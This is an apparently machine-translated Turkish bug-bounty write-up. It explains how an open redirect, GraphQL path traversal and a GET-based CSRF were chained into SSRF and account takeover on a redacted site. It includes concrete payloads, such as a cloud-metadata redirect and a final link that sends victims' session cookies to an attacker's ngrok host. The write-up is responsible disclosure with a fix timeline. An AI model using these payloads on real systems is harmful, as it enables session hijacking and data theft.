Yakın zamanda bir web uygulamasını test ederken, zincirleme olarak herhangi birinin Kurban hesabını ele geçirmesine izin verebilecek çok sayıda güvenlik açığı keşfettim. Etkilenen şirketin adı gizlilik amacıyla “hedef” ile değiştirildi. Blogda bu güvenlik açıklarının nasıl keşfedildiği, zincirlendiği ve istismar edildiği ayrıntılarıyla anlatılacaktı.
Bazı ilk testlerden ve tüylenmelerden sonra https://target.com
kısa süre sonra açık bir yönlendirme sorunu buldum. Eğer iki tane eklersek / isteğin başında GET /api/..
aşağıdaki yanıtı alırdık.
HTTP 1.1 301
....
Location: //api/..
....
Bu bizi ana makineye yönlendirecektir. 'api'
yol ile /..
Biraz deneme yanılma sonrasında, kurbanı google.com’a yönlendirecek şu istismarı buldum: https://target.com///google.com//!
Açık yönlendirmeler genellikle düşük önem derecesine sahip sorunlardır. Bunu bulabileceğim diğer güvenlik açıklarıyla birleştirmek için web sitesinin işlevselliğini daha derinlemesine incelemeye karar verdim.
Uygulamayı kullanıcı olarak kullanırken, arka planda burp çalışırken, web sitesinin bir GraphQL API’sine farklı sorgularla birkaç istekte bulunduğunu fark ettim. GraphQL, verileri sorgulamak ve değiştirmek için yalnızca tek bir uç nokta gerektiren bir API sorgulama dilidir. Birçok şirket, REST API’lerine alternatif olarak GraphQL’i kullanıyor. GraphQL hakkında daha fazlasını buradan okuyabilirsiniz
Olağandışı davranışları kontrol etmek için her GraphQL isteğini tek tek analiz etmeye başladım. Bir mutasyon sorgusu GetAuthorizedApps
dikkatimi çekti. Bu sorgu, hesaba OAuth kullanılarak bağlanan üçüncü taraf uygulamaların bağlantısını test etmek için kullanıldı.
Sorgunun işlevselliği pek ilgi çekici değildi. Aslında gözüme çarpan şey şuydu id
Tamsayı yerine dize olarak gönderilen değişken. İlk varsayımım, bu değişkenin değerinin, örneğin dahili bir API’ye sunucu tarafı isteğinde bulunmak için kullanılabileceğiydi – http://localhost:8080/api/1/:ID
. Hızlıca tek bir alıntı ekledim ‘ sunucunun bir hata atmasını umuyoruz. Ve yanıt –
Haklıydım! Sunucu aslında herhangi bir dahili ana bilgisayara değil, aynı web uygulamasında bulunan API uç noktasına kullanıcı adına isteklerde bulunuyordu. Şimdi web sitesinin köküne giden uç nokta yolunu geçmek için ‘../’ kullanmanın mümkün olup olmadığını kontrol ettim. Evet mümkündü.
Bu sorunun temel nedeni, URL çözümleme kitaplıklarında, istekte bulunmadan önce geçişi belirleyen bir şey gibi görünüyor.
Öncelikle kaputun altında gerçekte ne olduğunu anlayalım.
Web sitesi, kullanıcı verilerini almak, değiştirmek ve silmek için REST uç noktalarının yanı sıra REST API için proxy görevi gören bir GraphQL uç noktası kullanır. Grafik sorguları, verileri yakalamak ve değiştirmek için kullanıcı adına çeşitli REST uç noktalarına sunucu tarafı isteklerde bulunur. Örneğin GraphQL sorgusu –
{“query”:”query GetUser($id: ID!){\n GetUser(id: $id)\n}}”,”variables”:{“ID”:”12345”}}
dahili bir GET isteğinde bulunur https://target.com/api/user/12345
kullanıcı adına.
Şimdiye kadar açık bir yönlendirme ve bir yol geçişi keşfetmiştim. Bu iki konuyu zincirleyerek Sunucu Tarafı İstek Sahteciliği saldırısı gerçekleştirmek artık çok kolaydı! Sorunu onaylamak için gelen talebi almak için geğirme işbirlikçisine alternatif olan bir ngrok örneği oluşturdum. Muhtemelen şimdiye kadar son istismar zincirinin nasıl göründüğünü tahmin etmişsinizdir. İşte benimki –
Zaten açık bir yönlendirmemiz ve bir yol geçişimiz olduğundan, ilk 4 ‘../’, yolu 4 dizin yukarıya doğru geçecek ve ///XXXXXXXX.ngrok.io//, SSRF’yi onaylayan sunucumuza bir yeniden yönlendirmeye neden olacaktır. .
İşte aldığım Talep:
Harika artık bir SSRF’miz var! Bir sonraki belirgin adım, AWS ec2 örneğinin bulut meta verilerini getirmekti. Bir Http Sunucusu oluşturmak ve gelen her isteği http://169.254.169.254 adresine yönlendirmek için bir python betiği yazdım. Bu betiği ngrok örneğiyle bağladım. Bu önemliydi çünkü sunucu yalnızca https://
yerine http://
ve meta verilere yalnızca 80 numaralı bağlantı noktasından erişilebilir. İşte yanıt.
Serseri!! 🙁 Yanıtı okuyamadım! Ama neden? Sunucunun, tüm 200 OK isteği için düz veya HTML yerine, nesnelerin başarısı ve anahtarını içeren bir JSON yanıtı beklediği ve durum kodu hatalıysa bir hata attığı ortaya çıktı. ‘t 2XX.Bu hata, proxy isteğinin yanıtının tamamını döndürecektir.
Dahili ana makineye istekte bulunarak dahili ağı hâlâ haritalandırabiliyordum ancak bu, yalnızca hataların okunabilmesi nedeniyle sorunun ciddiyetini orta seviyeye düşürecekti. Biraz daha araştırdıktan sonra, konuyu çok daha ciddi bir soruna yükseltmenin bir yolunu buldum.
SSRF’yi kullandıktan sonra ngrok’umuza aldığımız talebi hatırlıyor musunuz? Gelin bir kez daha bakalım.
İstekle birlikte gönderilen çerez başlığına dikkat edin. Çok geçmeden bunların oturum çerezlerim olduğunu fark ettim! Sunucu, kullanıcı adına yapılan isteklerin kimliğini bu şekilde doğruluyordu. Ancak kurbanlarımızı bu isteği yapmaya ve çerezlerini sunucumuza almaya bir şekilde zorlayamadığımız sürece bu keşif işe yaramazdı.
İlk fikrim bir XSS bulmak, Aynı Kaynak Politikasını atlamak, kurban adına kötü amaçlı GraphQL isteğinde bulunmak ve ardından çerezleri dışarı çıkarmaktı.
Bir günümü XSS güvenlik açığı arayarak geçirdikten sonra hiçbir şey bulamadım ve pes ettim. Bunu kısmi yanıtı okuyabilen bir Kör SSRF olarak bildirdim ve uygulamanın diğer bölümlerini test etmeye başladım.
Davranışı şuna çok benzeyen başka bir “ZtsplXXXXXXX” sorgusunu fark ettim GetAuthorized
sorgusu çünkü bu sorgu dahili isteklerde bulunmak için de bir kimlik değişkeni kullandı!
Ancak ikisi arasında önemli bir fark var. GetAuthorized
bir mutasyon sorgularken ZtsplXXXXXXX
normal bir sorguydu. Bunu görür görmez hesabın tamamen ele geçirildiğini anladım.
GraphQL uç noktası Apollo sunucusunda çalışıyordu. Bu heyecan vericiydi çünkü belgelerine göre Apollo sunucusu da şunları kabul ediyor: GET
istekler!
GET isteğindeki örnek bir sorgu şöyle görünecektir: –
GET /graphql?query=query aTest($arg1: String!) {test(who: $arg1) }&operationName=aTest&variables={"arg1":"me"}
Ama bir sınırlama var.mutation
sorgular aracılığıyla yürütülemez ELDE ETMEK isteklerde yalnızca normal sorgulara izin verilir. Zincirimiz için CSRF olarak “ZtSpXXXXXXXXX” sorgusunu kullanarak bu “özelliği” kendi avantajımıza kullanabiliriz!
Şu ana kadar elimizde
- Açık yönlendirme
- Bir Yol geçişi
- Bir CSRF
Kurbanın kurabiye başlığını ele geçirmeye yönelik son girişimimiz için onları birbirine zincirleyelim!
https://target.com/api/graphql/v2?query=query ZtSpXXXXXXXXX($id: ID!) { XXXXXXXX(id: $id) { title steps headService { id name __typename } tailService { id name __typename } services { id name __typename } __typename }}&variables={"id":"1234/../../../../../..///xxxxxxx.ngrok.io//"}
Kurban yukarıdaki bağlantıya tıkladığında, oturum çerezleri ngrok sunucumuza gönderilir ve biz de daha sonra bu sunucuyu hesabına erişmek için kullanabiliriz!
Bu sorunlar etkilenen şirkete sorumlu bir şekilde rapor edildi. Açık yönlendirme, kök yönlendirmelere izin verilmeyerek düzeltildi. Sunucu artık sunucu tarafından yapılan istekler için çerezlerin beyaz listede yer almayan alanlara gönderilmesini de reddediyor.
- 29 Ağustos 2020 – Açık yönlendirme ve yol geçişinin ilk keşfi
- 30 Ağustos 2020 – Güvenlik açığı arttı ve hesap ele geçirme sorunu olarak rapor güncellendi
- 18 Eylül 2020 – Ekip tarafından gerçekleştirilen düzeltmeler ve kritik olarak ödül verilmesi
Şuna seslenin: @y_sodha düzeltme için!